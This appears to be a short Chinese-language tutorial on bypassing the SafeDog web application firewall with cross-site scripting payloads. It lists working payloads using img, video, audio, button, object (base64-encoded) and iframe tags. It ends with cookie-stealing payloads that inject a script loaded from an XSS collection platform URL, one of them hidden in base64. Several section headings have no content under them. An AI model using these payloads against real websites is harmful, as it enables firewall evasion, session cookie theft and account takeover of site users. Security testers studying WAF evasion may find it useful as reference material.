xss过waf(以安全狗为例)
0x01. Bypass原理:
**原理:**我们知道安全狗会检测一些常见的XSS测试关键词,比如script、alert等。我们可以找到一些效果跟script、alert一样的,且未被安全狗拦截的语句去执行JS语句
- 测试script标签被拦截:
0x02. Bypass安全狗:
1)测试标签,弹窗测试,成功弹窗
<img src=x onerror=alert(/img/)>
2)测试prompt(用于显示可提示用户进行输入的对话框,可在alert被禁用的情况下代替)
<img src=x onerror=prompt(/img/)>
3)测试video标签
<video src=x onerror=alert(/video/)>
4)测试audio标签
<audio src=x onerror=alert(/audio/)>
5)测试button标签点击事件
<button onclick=alert(1)>xss</button>
6)测试object标签搭配base64加密
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvb2JqZWN0Lyk8L3NjcmlwdD4="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg
解码:<script>alert(1)</script>
7)测试iframe标签
< 表示左半括号 <
> 表示右半括号 >
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
0x03. 测试拿cookie
1)利用img标签执行js:
document.createElement('script'):创建元素动态插入script
appendChild:方法向节点添加最后一个子节点
<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="xss平台url">
1.2) 查看获取的数据:
2)利用object 标签执行js:
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cHM6Ly94c3PlubPlj7B1cmw+PC9zY3JpcHQ+"></object>
解密:<script src=https://xss平台url></script>
2.2) 查看获取的数据: